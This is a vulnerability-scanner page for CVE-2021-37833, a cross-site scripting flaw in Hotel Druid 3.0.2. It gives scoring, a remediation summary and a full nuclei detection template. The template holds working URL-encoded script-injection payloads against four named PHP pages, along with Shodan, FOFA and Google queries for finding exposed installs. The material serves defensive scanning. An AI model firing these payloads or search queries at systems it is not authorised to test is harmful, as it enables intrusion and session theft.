Hotel Druid 3.0.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.3%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Hotel Druid 3.0.2 contains a cross-site scripting vulnerability in multiple pages which allows for arbitrary execution of JavaScript commands.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.

How to confirm it

Send: GET {{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%… ; GET {{BaseURL}}/storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1 ; GET {{BaseURL}}/tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1 ; GET {{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=loc…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains "hoteldruid" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-37833 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-37833

info:
  name: Hotel Druid 3.0.2 - Cross-Site Scripting
  author: pikpikcu,s4e-io
  severity: medium
  description: Hotel Druid 3.0.2 contains a cross-site scripting vulnerability in multiple pages which allows for arbitrary execution of JavaScript commands.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/dievus/CVE-2021-37833
    - https://www.hoteldruid.com
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37833
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37833
    cwe-id: CWE-79
    epss-score: 0.04295
    epss-percentile: 0.91209
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.2:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: digitaldruid
    product: hoteldruid
    shodan-query:
      - http.title:"hoteldruid"
      - http.favicon.hash:-1521640213
    fofa-query:
      - title="hoteldruid"
      - icon_hash=-1521640213
    google-query: intitle:"hoteldruid"
  tags: cve2021,cve,hoteldruid,xss,digitaldruid,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1'
      - '{{BaseURL}}/storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1'
      - '{{BaseURL}}/tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1'
      - '{{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: body
        words:
          - 'hoteldruid'
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from